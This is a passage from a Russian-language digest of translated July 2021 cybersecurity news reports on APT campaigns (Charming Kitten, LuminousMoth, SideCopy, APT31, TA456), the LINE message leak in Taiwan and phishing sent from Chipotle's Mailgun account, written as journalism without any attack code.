Но Джази отмечает, что манифест и информация о Крыме могут быть использованы злоумышленниками как ложный флаг.

Команда Malwarebytes Threat Intelligence обнаружила «Манифест.docx» («Manifest.docx») 21 июля, обнаружив, что он загружает и выполняет два шаблона: один с поддержкой макросов, а другой - html-объект, содержащий Internet Explorer. эксплуатировать.

Аналитики обнаружили, что эксплуатация CVE-2021-26411 напоминала атаку Lazarus APT.

Согласно отчету, злоумышленники объединили социальную инженерию и эксплойт, чтобы увеличить свои шансы заразить жертв.

Malwarebytes не смог связать нападение с конкретным субъектом, но сказал, что жертвам был показан документ-приманка, содержащий заявление группы, связанной с фигурой по имени Андрей Сергеевич Портыко, которая якобы выступает против политики президента России Владимира Путина в отношении Крыма. Полуостров.

Джази объяснил, что ложный документ загружается после загрузки удаленных шаблонов. Документ составлен на русском языке, но также переведен на английский язык.

В атаке также используется VBA Rat, который собирает информацию о жертве, идентифицирует антивирусный продукт, работающий на машине жертвы, выполняет шелл-коды, удаляет файлы, выгружает и скачивает файлы, а также считывает информацию о дисках и файловых системах.

Джази отметил, что вместо использования хорошо известных вызовов API для выполнения кода оболочки, которые могут быть легко помечены антивирусными продуктами, злоумышленник использовал отличительный EnumWindows для выполнения своего кода оболочки». ***(Jonathan Greig. Security team finds Crimea manifesto buried in VBA Rat using double attack vectors // ZDNet (https://www.zdnet.com/article/security-team-finds-crimea-manifesto-buried-in-vba-rat-using-double-attack-vectors/). 29.07.2021).***

***

«Правоохранительные органы Тайваня расследуют кибератаку на более чем 100 местных политических деятелей и высокопоставленных лиц, которые использовали приложение для обмена сообщениями LINE.

В заявлении, опубликованном в среду LINE, подтверждается атака, говорится, что компания приняла меры для защиты своих пользователей, и сообщила об инциденте в соответствующие правоохранительные органы.

«LINE ведет активную и осторожную борьбу с глобальными киберпреступлениями и атаками», - говорится в заявлении, добавляя: «Безопасность данных и конфиденциальность пользователей - одна из наших самых важных проблем, и мы продолжим принимать необходимые меры в ответ на этот инцидент».

Тайваньское новостное издание Liberty Times сообщило, что тайваньский штаб LINE обнаружил, что на прошлой неделе был извлечен пользовательский контент, в основном касающийся политиков и официальных лиц.

Атака работала путем отключения функции шифрования «Letter Sealing» на учетных записях целевых пользователей.

LINE, самый популярный сервис обмена мгновенными сообщениями и онлайн-звонками на Тайване, посоветовал заинтересованным пользователям проверить, активирована ли в их приложении функция запечатывания писем. При включении функция шифрует текстовые сообщения, информацию о местоположении, а также голосовые и видеозвонки.

Этот инцидент - не первый раз, когда безопасность LINE ставится под сомнение. В марте опасения по поводу информационной безопасности заставили японских правительственных чиновников прекратить использование приложения, когда было обнаружено, что китайские подрядчики имеют доступ к личным данным». ***(Laura Dobberstein. Over 100 Taiwanese political figures' messages leaked outta LINE app // The Register (https://www.theregister.com/2021/07/29/taiwan_line_attack/). 29.07.2021).***

***

«В период с 13 по 16 июля кто-то завладел учетной записью Mailgun, принадлежащей сети ресторанов Chipotle Mexican Grill, и разместил заказ на учетные данные для входа, используя незаконно присвоенные маркетинговые сообщения.

Фирма по борьбе с фишингом INKY сообщила в четверг, что за этот период она обнаружила 121 фишинговое письмо, отправленное из учетной записи Mailgun Chipotle.

Фишинговые сообщения включали два фальшивых уведомления голосовой почты с прикрепленными вредоносными программами, также известные как «вишинг» среди тех, кто проводит такие различия. Они также включали 14 электронных писем, похожих на официальные сообщения банка USAA, и 105 сообщений, оформленных так, как будто они пришли от Microsoft. Эти фальшивые послания указывали получателям на веб-сайты для сбора учетных данных, имитирующие страницы входа USAA Bank и Microsoft соответственно.

Для опытного глаза или любого, кто может задаться вопросом, почему сообщения USAA или Microsoft исходят с mail.chipotle.com, обман будет очевиден при изучении необработанных данных заголовка электронной почты. Но образец фишингового сообщения Microsoft, опубликованный INKY, предполагает, что получатели не заметили несоответствия.

«Важно, чтобы получатели (и программное обеспечение для защиты электронной почты) заметили несоответствие между отображаемым именем

отправителя (Microsoft, USAA, VM Caller ID) и его фактическим адресом электронной почты (postmaster @ chipotle [.] Com)», - написал Букар Алибе, кибер аналитик по безопасности INKY, в сообщении блога, предоставленном The Register. «Совершенно очевидно, что Microsoft и USAA никогда не будут использовать URL-адреса mail.chipotle [.] Com для решения проблем с учетными записями».

«Но безопасные шлюзы электронной почты часто проверяют только, является ли отправляющий домен легитимным и передает ли он данные из утвержденного диапазона IP-адресов. Эта схема может привести к абсурду, вроде того, как Microsoft явно отправляет уведомление об учетной записи через Chipotle».

Этот конкретный подход к фишингу был успешно использован группой Nobelium, печально известной своей атакой на SolarWinds: по сообщениям, банда, управляемая Кремлем, использовала маркетинговую учетную запись электронной почты Агентства США по международному развитию (USAID) в Constant Contact, конкуренте Mailgun, для распространения вредоносного ПО.

Одно из преимуществ взлома учетных записей электронной почты состоит в том, что такие службы стремятся обеспечить доставку своих сообщений за счет минимизации спама, порочащего репутацию, и применения таких технологий безопасности обмена сообщениями, как SPF, DKIM и DMARC.

Однако в электронном письме в The Register Алибе сказал, что сообщения были обнаружены до того, как доверие к отправителю стало играть роль. «Несмотря на происхождение Chipotle-Mailgun, INKY по-прежнему считал эти электронные письма опасными, поэтому, к счастью, наших пользователей либо предупредили, либо электронные письма отправили на карантин», - сказал он.

Дэйв Баггетт, генеральный директор INKY, добавил: «Конечно, мы не знаем результатов для клиентов других поставщиков защиты почты».

Алибе сказал, что неясно, как была взломана учетная запись Chipotle Mailgun. «Мы видели фишинговые электронные письма и сайты, выдающие себя за Mailgun для сбора учетных данных Mailgun, поэтому весьма вероятно, что сотрудник Chipotle стал жертвой сбора учетных данных», - сказал он.

Баггетт сказал, что, возможно, сотрудник Chipotle открыл вложение электронной почты с вредоносным ПО, которое привело к компрометации учетной записи или устройства сотрудника.

«В целом INKY видит здесь растущую тенденцию: злоумышленники все чаще используют «общую инфраструктуру» - облачные сервисы, общие для многих компаний и пользователей, - чтобы скрыть свою настоящую личность», - сказал он. «Мы видим это в злоупотреблении облачными службами обмена файлами, такими как Dropbox, а также облачной инфраструктурой электронной почты, такой как Mailgun».

Также не известно, по крайней мере INKY, откуда взялась фишинговая атака. «Эти электронные письма были отправлены с серверов Mailgun, поэтому у нас нет никаких намеков на то, кто стоит за этой атакой или их местонахождение», - сказал Алибе.

«Также важно помнить, что злоумышленникам легко создать несколько неотслеживаемых онлайн-присутствий на любой виртуальной территории, которую

они выберут», - сказал Баггетт. «Таким образом, в 2021 году геолокация IP-адресов, используемых злоумышленником, ничего не говорит о том, где злоумышленник действительно проживает; в основном это полезно для оценки того, какой облачный провайдер был взломан. Другими словами: легко привязать IP, используемый в атаке, к конкретного поставщика облачных услуг, но, как правило, невозможно связать со страной-участником-источником».

Регистр запросил у Chipotle подробности о том, как произошла компрометация, и мы не получили ответа». ***(Thomas Claburn. Spam is Chipotle's secret ingredient: Marketing email hijacked to dish up malware // The Register (https://www.theregister.com/2021/07/29/mailgun_chipotle_malware_spam/). 29.07.2021).***

***

Діяльність хакерів та хакерські угруповування

«Техническая аналитическая компания Gartner считает, что хакеры превратят компьютерные системы в оружие до такой степени, что к 2025 году они смогут ранить или убить людей, и что, помимо человеческой трагедии, компаниям потребуется 50 миллиардов долларов для исправления ошибок в ИТ-системах, судебных разбирательств и компенсации.

Прошлые атаки вредоносных программ, таких как Stuxnet, которые, как считается, были результатом работы АНБ, продемонстрировали, что вредоносные программы могут причинять реальный ущерб, а не только шифровать данные. А кибератаки уже давно имеют реальные последствия, такие как атаки программ-вымогателей на такие организации, как Colonial Pipeline и больницы в США и Европе. Национальная служба здравоохранения Великобритании несколько дней боролась после атаки программы-вымогателя WannaCry в 2017 году, в которой обвиняли хакеров, спонсируемых государством Северной Кореи.

Gartner считает, что к 2025 году хакеры будут вооружены средами операционных технологий (OT), чтобы «успешно причинять вред или убивать людей».

Под OT Gartner означает «оборудование и программное обеспечение, которое отслеживает или контролирует оборудование, активы и процессы». Это также относится к киберфизическим атакам (CPS): примерами таких атак могут быть атаки на электронное медицинское оборудование или физическую инфраструктуру.

«В операционных средах руководители служб безопасности и управления рисками должны больше беспокоиться о реальных угрозах для людей и окружающей среды, а не о краже информации», - сказал Вам Вестер, старший директор по исследованиям в Gartner.

Более тревожно продолжил Фостер: «Запросы клиентов Gartner показывают, что организации в таких ресурсоемких отраслях, как производство, ресурсы и коммунальные услуги, с трудом определяют подходящие системы контроля».

Gartner делит ОТ и киберфизические угрозы на три категории: фактический ущерб; коммерческий вандализм, снижающий объем производства; и вандализм против репутации организации, который делает производителя ненадежным.

Gartner ожидает, что финансовое воздействие CPS-атак, в результате которых погибнут или ранены люди, превысит 50 миллиардов долларов к 2023 году.

По словам Gartner, затраты для организаций будут значительными и будут включать компенсацию, судебные разбирательства, страхование, штрафы со стороны регулирующих органов и потерю репутации.

Однако следует отметить, что эта цифра невелика по сравнению с общими глобальными расходами на ИТ, которые, по прогнозам Gartner, достигнут 4,2 триллиона долларов в 2021 году…». ***(Liam Tung. Attacks on critical infrastructure are dangerous. Soon they could turn deadly, warn analysts // ZDNet (https://www.zdnet.com/article/attacks-on-critical-infrastructure-are-dangerous-soon-they-could-turn-deadly-warns-analyst/). 22.07.2021).***

***

«Китайская группа продвинутых постоянных угроз (APT) распространяет поддельное программное обеспечение Zoom, чтобы шпионить за целями в Юго-Восточной Азии.

Группа, которую Касперский назвал LuminousMoth, занимается кибершпионажем и кражей информации от высокопоставленных целей.

Начиная как минимум с октября 2020 года, в Мьянме было обнаружено около 100 жертв, а на Филиппинах - около 1400. Однако эти показатели заражения могут не рассказать всей истории, поскольку исследователи полагают, что только небольшая часть этих чисел представляла интерес для APT и использовалась в дальнейшем.

Истинными целями LuminousMoth, в частности, являются государственные учреждения как в этих странах, так и за рубежом.

По словам исследователей, предварительная скорость заражения может быть связана с первоначальным вектором атаки LuminousMoth и механизмами распространения, которые считаются «шумными» и необычными для APT.

APT начинается с отправки целевых фишинговых писем, содержащих ссылки для скачивания Dropbox в архив.RAR, названный политическими темами или темами COVID-19. Этот файл содержит два вредоносных файла.DLL, которые затем могут извлекать и развертывать вредоносные исполняемые файлы в зараженной системе.

Как только этот этап заражения будет завершен, LuminousMoth загрузит маяк Cobalt Strike и загрузит две вредоносные библиотеки, предназначенные для обеспечения устойчивости и копирования вредоносного ПО на любые съемные носители, подключенные к системе жертвы.

В случаях, отмеченных «Лабораторией Касперского», злоумышленники затем развернули поддельное приложение Zoom, программное обеспечение, которое стало спасательным кругом - наряду с Microsoft Teams и другими - для многих предприятий, вынужденных уйти в удаленный режим во время пандемии COVID-19.

Программное обеспечение, подписанное организацией в Шанхае, на самом деле используется для эксфильтрации файлов, представляющих интерес для LuminousMoth. Любой найденный файл с предопределенными расширениями копируется и передается на командно-управляющий (C2) сервер.

LuminousMoth также будет искать файлы cookie и учетные данные, в том числе те, которые используются для учетных записей Gmail.

«Во время нашего теста мы создали учетную запись Gmail и смогли продублировать нашу сессию Gmail, используя украденные файлы cookie», - говорит Касперский. «Таким образом, мы можем заключить, что этот инструмент для постэксплуатации предназначен для перехвата и имитации сеансов Gmail для целей».

Похоже, что деятельность APT перекликается с HoneyMyte / Mustang Panda, другой китайскоязычной группой, связанной с нападением на офис президента Мьянмы (1, 2).

LuminousMoth и HoneyMyte использовали аналогичную тактику во время кампаний, включая перекрытие C2, боковую загрузку.DLL, развертывание маяков Cobalt Strike и аналогичные функции кражи файлов cookie.

«Обе группы, вне зависимости от того, связаны они или нет, осуществляли деятельность одного и того же характера - крупномасштабные атаки, которые затрагивали широкий периметр целей с целью поразить несколько представляющих интерес», - говорят исследователи». ***(Charlie Osborne. Chinese APT LuminousMoth abuses Zoom brand to target gov't agencies // ZDNet (https://www.zdnet.com/article/chinese-apt-luminousmoth-abuses-zoom-brand-to-target-govt-agencies/). 16.07.2021).***

***

«Группа продвинутых постоянных угроз (APT) SideCopy расширила свою деятельность, и теперь новые трояны используются в кампаниях по всей Индии.

APT действует по крайней мере с 2019 года и, похоже, ориентирован на важные цели в кибершпионаже. В прошлом году Cyware заявила, что SideCopy участвовала в ряде атак, в том числе направленных на индийские силы обороны и военнослужащих.

В среду исследователи из Cisco Talos заявили, что недавний всплеск активности "сигнализирует об ускорении" разработки методов, тактик и инструментов APT, с появлением множества новых троянов удаленного доступа (RAT) и плагинов.

Интересным аспектом SideCopy является попытка группы ввести в заблуждение исследователей безопасности путем копирования техник, обычно зарезервированных для Sidewinder, отдельной APT, которая, как полагают, атаковала пакистанские вооруженные силы и другие цели по всему Китаю.

SideCopy также использовала ссылку на Transparent Tribe, также известную как PROJECTM, APT36 или Mythic Leopard. Эта группа также наносит удары по индийским правительственным и военным частям; тем не менее, Transparent Tribe недавно переключило свое внимание на Афганистан.

По словам Талоса, SideCopy расширилась с развертывания RAT на основе C # под названием CetaRAT, трояна Allakore и njRAT до четырех новых настраиваемых троянцев и двух дополнительных товарных RAT, известных как Lilith и Epicenter.

Исходная цепочка заражения SideCopy использовала вредоносные файлы.LNK и.DLL для развертывания трояна на машине жертвы. Приманки для ссылок часто связаны с боевыми действиями индийской армии; Однако группа также использует ловушки - в частности, обещание откровенных фотографий женщин.

Однако с прошлого года цепочка атак SideCopy превратилась в файл.LNK, три файла приложения HTML, три файла.DLL загрузчика, а затем несколько RAT, включая две версии CetaRAT, развернутые за один удар. Документы-ловушки и изображения также могут использоваться на начальных этапах атаки.

В других вариантах, таких как цепочка атак, которая была разработана для развертывания njRAT, группа использовала дроппер, скрытый в самораспаковывающемся архиве.RAR, а в других элементах.LNK полностью отказались в пользу злонамеренных архивов.ZIP. на сайтах, контролируемых злоумышленниками.

DetaRAT, ReverseRAT и MargulasRAT - новые трояны, присоединяющиеся к CetaRAT. Они содержат типичные функции для этого типа вредоносного ПО - создание связи между машиной жертвы и сервером управления и контроля (C2), кража данных, вмешательство в процесс, кража данных из буфера обмена и создание снимков экрана - за исключением ReverseRAT, который представляет собой простую реверсивную оболочку и съемный монитор дисковода.

После заражения также развертываются плагины, в том числе такие функции, как перечисление, ведение кейлоггеров и кража учетных данных браузера. Следует отметить один набор плагинов «Nodachi», написанный на языке программирования Goland и предназначенный для кражи файлов из индийского приложения многофакторной аутентификации (MFA) под названием Kavach.

«То, что начиналось как простой вектор заражения от SideCopy для доставки пользовательского RAT, превратилось в несколько вариантов цепочек заражения, доставляющих несколько RAT», - говорит Талос. «Использование этих многочисленных методов заражения - от файлов LNK до самораспаковывающихся файлов RAR.exes и установщиков на основе MSI - указывает на то, что злоумышленник активно работает над заражением своих жертв». ***(Charlie Osborne. SideCopy cybercriminals use new custom Trojans in attacks against India's military // ZDNet (https://www.zdnet.com/article/sidecopy-cybercriminals-use-custom-trojans-in-india-attacks/). 07.07.2021).***

***

«Связанная с Ираном группа продвинутых постоянных угроз (APT) взяла научный уклон в своей последней фишинг-кампании, которая включает в себя длительные беседы с профессорами, руководителями аналитических центров и журналистами, сосредоточенными на ближневосточных делах.

Актером угрозы является Charming Kitten, также известный как TA453, APT35, Ajax Security Team, NewsBeef, Newscaster и Phosphorus. Это постоянно

развивающийся APT, и это одна из его более сложных кампаний, согласно тому, что исследователи Proofpoint сообщили во вторник.

Не то чтобы цели этого APT-актера в прошлом были скромными. Например, в марте Charming Kitten запустила кампанию по краже учетных данных, нацеленную на специалистов в области генетики, неврологии и онкологии.

Очаровательный котенок также был связан с атаками на предвыборную кампанию президента Трампа в 2020 году. В октябре 2019 года исследователи сообщили, что актер добавил в свой арсенал новые методы целевого фишинга, что, по всей видимости, стало активизацией операций. Исследователи безопасности, которые отслеживали раннюю фазу кампании в октябре 2018 года, обнаружили атаки, предназначенные для обхода двухфакторной аутентификации с целью взлома учетных записей электронной почты и отслеживания коммуникаций.

Акцент смещается на британцев

Текущая кампания включает в себя маскировку под британских ученых; диалог с целями; и ссылка на веб-сайт законного, мирового класса, уже взломанного академического учреждения, чтобы получить полномочия.

Proofpoint назвал кампанию Operation SpoofedScholars и связал ее с иранским правительством с целью того, что исследователи считают кибершпионажем. Согласно отчету, это «APT, который, как мы оцениваем с высокой степенью уверенности, поддерживает усилия Корпуса стражей исламской революции (КСИР) по сбору разведданных».

Это ограниченная, «очень избирательная» кампания, которая, согласно данным телеметрии Proofpoint, нацелена менее чем на 10 организаций. Очаровательный котенок охотится за людьми, у которых есть «информация, представляющая интерес для иранского правительства, включая, помимо прочего, информацию о внешней политике, понимание иранских диссидентских движений и понимание ядерных переговоров США», говорится в отчете.

Это ситуация «промыть, ополоснуть и повторить»: по их словам, злоумышленник ранее нацелился на большинство целей, определенных Proofpoint.

Очаровательный котенок / Изысканные шипы TA453

Поначалу переписка по электронной почте была благоприятной. Они стали зловещими, когда Очаровательный Котенок предоставил ссылку на заминированный веб-сайт, на котором размещена страница сбора учетных данных. Согласно отчету, это шаг вперед по сравнению с исторической тактикой, приемами и процедурами APT: «Использование легитимного, но скомпрометированного субъектом веб-сайта является более сложным по сравнению с историческими [TTP] TA453 с использованием контролируемых субъектами учетные фишинговые сайты», - пишут исследователи.

Что касается атрибуции, аналитики Proofpoint не могут независимо подтвердить связь с иранским разведывательным подразделением, IRGC, как обсуждали аналитики Proofpoint в мартовской кампании против медицинских работников. Эта кампания по сбору репутации получила название BadBlood из-за ее медицинской направленности и истории напряженности между Ираном и Израилем. Тем не менее, ТТП и общая цель совпадает с приоритетами сбора

разведданных КСИР, как они отметили во вторник в отчете Operation SpoofedScholar.

Операция SpoofedScholars показывает ТТП, которые также похожи на предыдущие кампании TA453, и «согласованность с историческим таргетингом TA453», писали аналитики, в том числе с использованием бесплатных провайдеров электронной почты для обмана лиц, знакомых с их целями. Еще одно сходство: кампания Operation SpoofedScholar также сосредоточена на фишинге учетных данных конкретных лиц, представляющих интерес, от которых кампания стремится перехватить «конфиденциальную электронную почту и контакты или первоначальный доступ для будущих фишинговых кампаний», пояснили аналитики.

Маскировка под африканских и восточных ученых

Особенности: по крайней мере, с января 2021 года Charming Kitten / TA453 занимается кибер-сайдингом британских ученых из Школы восточных и африканских исследований Лондонского университета (SOAS), чтобы запросить конфиденциальную информацию.

Исследователи заявили, что APT скомпрометировал это «уважаемое академическое учреждение», чтобы предоставить персонализированные страницы для сбора учетных данных, замаскированные под регистрационные ссылки. Среди выявленных целей были «эксперты по ближневосточным вопросам из аналитических центров, старшие профессора из известных академических институтов и журналисты, специализирующиеся на освещении событий на Ближнем Востоке», - пояснили они.

«Эти попытки подключения были подробными и обширными, часто включая длительные разговоры перед представлением следующего этапа в цепочке атаки», - говорится в отчете. «Как только разговор был установлен, TA453 предоставил« регистрационную ссылку »на законный, но взломанный веб-сайт, принадлежащий радио SOAS Лондонского университета».

Charming Kitten также нацелился на личные адреса электронной почты как минимум одной из целей APT.

Болтливые ранние попытки фишинга

TA453 впоследствии изменил тактику и поставил ссылку для регистрации раньше в фишинговом разговоре, но первоначально кампания включала длительные чаты с целевыми лицами.

Как вы можете видеть ниже на скриншоте одного из таких разговоров, в TA453 работают актеры с довольно неплохим знанием английского языка. В какой-то момент злоумышленник даже заявил, что готов к разговору по видеоконференции. Персонаж, созданный злоумышленником, также был замечен в попытке собрать номера мобильных телефонов, «возможно, для мобильных вредоносных программ или дополнительного фишинга», - предположили исследователи. «TA453 неоднократно демонстрировал желание подключиться к цели в режиме реального времени», - добавили они.

Согласно Proofpoint, кампания началась в начале 2021 года с выдумки фиктивного ученого: «Старшего преподавателя и научного сотрудника в Университете SOAS в Лондоне». TA453 украл настоящее имя ученого, а затем

создал аналогичный адрес электронной почты для человека, которого мы будем называть доктором Абсолютно Фальшивым, чтобы зажечь разговоры с целями.

В кратком изложении одного из наблюдаемых исследователями мошеннических разговоров, показанном ниже, TA453 заманил цель приглашением на онлайн-конференцию на тему «Вызовы безопасности США на Ближнем Востоке».

TA453 хотел поговорить с целью по телефону, чтобы обсудить приглашение, но цель была слишком скользкой: предполагаемая жертва «оговорилась и решительно заявила, что ей нужно письменное предложение с подробностями», - описали исследователи. TA453 в конечном итоге согласился и разошелся по деталям предполагаемой конференции. Разговор продолжался, пока злоумышленник пытался проверить интерес цели, используя в конечном итоге подробное приглашение на фальшивую конференцию…

Фальшивая «панель управления вебинаром»

Аналитики объяснили, что как только TA453 убедил цель посетить фиктивный веб-семинар, его личность отправила персонализированную ссылку, которая вела на «Панель управления вебинаром» на законном, но взломанном веб-сайте, принадлежащем исследовательскому учреждению SOAS Лондонского университета. TA453, по-видимому, получил повышенные привилегии, которые позволили субъекту создавать страницы для сбора учетных данных одного из легитимных сайтов SOAS - soasradio [.] Org, - на котором также размещается законный контент, связанный с SOAS.

TA453 укрепил доверие, создав дополнительных фальшивых персонажей помимо доктора Абсолютно Фальшивого. Персонажи маскировались под законных партнеров SOAS для доставки вредоносных ссылок. Как показано на изображении веб-страницы для сбора учетных данных, показанной ниже, TA453 предлагает целевым объектам возможность использовать «OpenID» для входа в систему через список поставщиков электронной почты: Google, Yahoo, Microsoft, iCloud, Outlook, AOL, mail.ru, Электронная почта и Facebook. URI веб-сайта был «hxxps: // soasradio [.] Org / connect / ?mberemailid = [RedhibitedInitials of Target] - [строка буквенно-цифровых символов]».

Когда цели нажимали на конкретного поставщика, во всплывающем окне отображалось фактическое фишинговое поле учетных данных. Аналитики уточнили, что кнопки Google, Microsoft и Email предварительно заполняют адрес электронной почты цели. Хорошая ставка на то, что TA453 планировал проверить эти учетные данные «немедленно», - выдвинули они гипотезу: «Основываясь на разнообразии провайдеров электронной почты, а также на том, что TA453 настаивает на том, чтобы целевой вход в систему, когда TA453 был в сети, Proofpoint оценивает, что TA453 планировал немедленно проверить правильность захватил учетные данные вручную».

Другие обманутые ученые, помимо доктора Аттерли Богуса, появились через несколько месяцев после того, как личность была впервые обнаружена, и мы будем называть их «доктор Аттерли». Igot Hijacked»: еще один человек, связанный с SOAS. Персонаж доктора Игота Хиджакед разослал электронные письма с просьбой внести вклад в «Конференцию DIPS». По словам исследователей,

цепочка уничтожения, вероятно, была бы похожа на цепочку доктора Аттерли Фальшивого.

Персонаж доктора Абсолютно Фальшивого также вновь появился в середине мая, когда он появился с другим похожим адресом электронной почты, снова с целью набора участников для вебинара.

ОБНОВЛЕНИЕ: SOAS утверждает, что нарушения не было

Представитель SOAS сообщил Threatpost в среду, что, как понимает организация, фиктивный сайт был размещен на веб-сайте SOAS Radio, независимой онлайн-радиостанции и производственной компании, отдельно от официального веб-сайта SOAS и не привязанной ни к одному из академические области учреждения. Затем хакеры подделали учетные записи gmail ученых, чтобы собрать данные от своих целей.

Согласно заявлению, ничего из этого не было вызвано действиями ученых. «Чтобы было ясно, академический персонал SOAS, конечно, не участвует в этом процессе, и никакие действия или заявления сотрудников SOAS не привели к их подделке таким образом. Согласно заявлению SOAS, никаких предположений о нарушении кибербезопасности со стороны сотрудников SOAS не поступало».

По словам SOAS, никаких нарушений не было. «Что касается создания фиктивного сайта, никакая личная информация не была получена из SOAS, и ни одна из наших систем данных (например, учетные записи сотрудников и студентов, финансовая информация, электронные письма, основной веб-сайт ac.uk и т. Д.) Не была задействована или затронута этим. Наши системы кибербезопасности для наших основных систем надежны и соответствуют своему назначению.

«Как только нам стало известно о фиктивном сайте в начале этого года, мы немедленно устранили нарушение и сообщили о нарушении в обычном порядке. Мы проанализировали, как это происходило, и предприняли шаги для дальнейшего улучшения защиты периферийных систем такого типа».

Отражение подделанной операции

Proofpoint предлагает следующие конкретные меры против Operation SpoofedScholars:

Изучите сетевой трафик для soasradio [.] Org, в частности URI, начинающиеся с hxxps: // soasradio [.] Org / connect / ?mberemailid =.

Изучите все электронные письма, поступающие от hanse.kendel4 [@] gmail.com, hannse.kendel4 [@] gmail.com и t.sinmazdemir32 [@] gmail.com: они «должны считаться подозрительными», - советуют аналитики.

Ожидайте большего

В Proofpoint говорится, что компания «работала с соответствующими органами над уведомлением потерпевших».

Весьма вероятно, что мы снова увидим TA453, вероятно, с использованием тех же, более сложных TTP. Proofpoint пришел к выводу, что использование легитимной, скомпрометированной инфраструктуры означает увеличение сложности APT, что «почти наверняка» будет воспроизведено в будущих кампаниях.

«TA453 продолжает повторять, вводить новшества и собирать данные в поддержку приоритетов IRGC», - сказали в заключение аналитики. «Хотя

некоторые из идентифицированных селекторов, похоже, больше не принимают участия в операциях TA453, Proofpoint с большой уверенностью оценивает, что TA453 продолжит обманывать ученых по всему миру в поддержку операций TA453 по сбору разведданных в поддержку интересов иранского правительства. Ученые, журналисты и сотрудники аналитических центров должны проявлять осторожность и проверять личности людей, предлагающих им уникальные возможности»…». ***(Lisa Vaas. 'Charming Kitten' APT Siphons Intel From Mid-East Scholars // Threatpost (https://threatpost.com/apt-ta453-siphons-intel-mideast/167715/). 13.07.2021).***

***

«Сегодня французское национальное агентство кибербезопасности предупредило о продолжающейся серии атак на большое количество французских организаций, координируемых поддерживаемой Китаем хакерской группой APT31.

«Из наших расследований следует, что злоумышленник использует сеть скомпрометированных домашних маршрутизаторов в качестве операционных ретрансляционных блоков для выполнения скрытой разведки, а также атак», - говорится в предупреждении ANSSI (Agence Nationale de la Sécurité des Systèmes d'Information). бюллетень выпущен сегодня.

«Таким образом, индикаторы компрометации (IOC) используются совместно, чтобы помочь оценить возможные компрометации (поиск должен начаться в начале 2021 года) и использоваться в службах обнаружения».

Организациям, которые обнаруживают в своих журналах любые общие IOC, указывающие на атаку, потенциально связанную с текущей кампанией APT31, настоятельно рекомендуется сообщить об инциденте в ANSSI по электронной почте.

APT31 (также известная как Zirconium and Judgment Panda) - это хакерская группа, работающая по указанию правительства Китая, известная своими многочисленными операциями по шпионажу и краже информации.

Эта угроза была связана в прошлом с кражей и перепрофилированием эксплойта EpMe NSA за годы до того, как Shadow Brokers публично просочились в сети в апреле 2017 года.

В прошлом году Microsoft наблюдала атаки APT31, нацеленные на международное сообщество и высокопоставленных лиц, связанных с президентской кампанией Джо Байдена.

APT31 также был замечен Google при нацеливании на «личные электронные письма сотрудников кампании с учетными фишинговыми сообщениями и электронные письма, содержащие ссылки для отслеживания».

Китайские операции по кибершпионажу в центре внимания

Эти атаки были совершены после того, как США и их союзники, включая Европейский союз, Великобританию и НАТО, официально обвинили Китай в хакерской кампании Microsoft Exchange в этом году.

Кибератаки произошли в начале 2021 года и были нацелены на более четверти миллиона серверов Microsoft Exchange, принадлежащих десяткам тысяч организаций по всему миру.

Администрация Байдена приписывала «с высокой степенью уверенности, что злоумышленники, связанные с MSS КНР, проводили операции кибершпионажа, используя уязвимости нулевого дня в Microsoft Exchange Server, обнаруженные в начале марта 2021 года».

В тот же день Великобритания добавила, что Министерство государственной безопасности Китая стоит за поддерживаемыми государством китайскими хакерскими группами, которые отслеживаются как APT40 и APT31.

АНБ, CISA и ФБР также выпустили совместные рекомендации с более чем 50 тактиками, приемами и процедурами (ТТП), которые спонсируемые государством кибер-акторы Китая использовали в атаках на США и союзные сети.

В тот же день Министерство юстиции предъявило обвинения четырем офицерам разведки Министерства государственной безопасности, которые, как считается, входили в группу угроз APT40, в отношении многолетней кампании, направленной против правительств и организаций из критических секторов по всему миру». ***(Sergiu Gatlan. France warns of APT31 cyberspies targeting French organizations // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/france-warns-of-apt31-cyberspies-targeting-french-organizations/). 21.07.2021).***

***

«Иранские хакеры в течение 18 месяцев маскировались под видом инструктора по аэробике в ходе кампании по кибершпионажу, нацеленной на сотрудников и подрядчиков в оборонной и аэрокосмической сферах. Преступники заражали системы жертв вредоносным ПО для кражи учетных данных и другой конфиденциальной информации.

В ходе кампании, действующей по крайней мере с 2019 года, злоумышленники использовали социальные сети Facebook и Instagram, а также электронную почту, выдавая себя за фальшивую личность некой Марселлы Флорес (Marcella Flores). На установление взаимопонимания с потенциальными жертвами с помощью сообщений и электронной почты злоумышленники могли потратить несколько месяцев, прежде чем пытаться распространять вредоносное ПО.

Специалисты ИБ-фирмы Proofpoint связали данную кампанию с группировкой TA456 (также известной как Tortoiseshell), поддерживаемой правительством Ирана и связанной с иранскими вооруженными силами Корпуса стражей исламской революции (КСИР).

В публичном профиле Марселлы в Facebook утверждалось, что она якобы была инструктором по аэробике в Ливерпуле, Англия, а в списке ее друзей было несколько человек, которые работали в качестве оборонных подрядчиков.

Злоумышленники, создавшие фальшивую личность, использовали электронную почту, профили в социальных сетях, фотографии и даже кокетливые сообщения для большей правдоподобности. Спустя некоторое время злоумышленники использовали учетную запись Gmail для отправки жертве ссылки

на Microsoft OneDrive, содержащей документ или видеофайл. Файл использовался для распространения нового варианта вредоносного ПО Lideric, который исследователи назвали Lempo.

Вредоносная программа обеспечивает преступникам персистентность на компьютере жертвы под управлением Windows, позволяя искать и красть конфиденциальную информацию. Похищенные логины и пароли могут помочь злоумышленникам проводить дальнейшие шпионские кампании. Вероятно, таким образом преступники ищут возможность продвинуться дальше по цепочке поставок и получить доступ к сетям оборонных и аэрокосмических предприятий». ***(Хакеры под видом online-инструктора по аэробике атаковали оборонных подрядчиков // SecurityLab.ru (https://www.securitylab.ru/news/522849.php). 28.07.2021).***

***

«Команда специалистов Cisco Talos зафиксировала повышенное количество кибератак против целей в Индии. Организатором вредоносной кампании является преступная группировка SideCopy.

Участники SideCopy осуществляют кибератаки на государственных служащих в Индии с использованием тактик, техник и процедур, аналогичных APT36 (также известной как Mythic Leopard и Transparent Tribe). Как полагают специалисты, инфраструктура SideCopy указывает на особый интерес к целям в Пакистане и Индии, поскольку используемое вредоносное ПО инициирует действия только в этих двух странах.

SideCopy действует как минимум с 2018 года и разработала новые трояны для удаленного доступа, некоторые из которых используют плагины для добавления дополнительных функций. RAT, разработанные SideCopy, включают:

MargulasRAT — маскируется под приложение VPN от Национального центра информатики Индии;

CetaRAT;

DetaRAT — ранее неизвестный RAT на основе C#, который содержит несколько функций, подобных CetaRAT;

ReverseRAT — новая обратная оболочка на основе C#, которая также контролирует съемные диски. Разработана на основе CetaRAT;

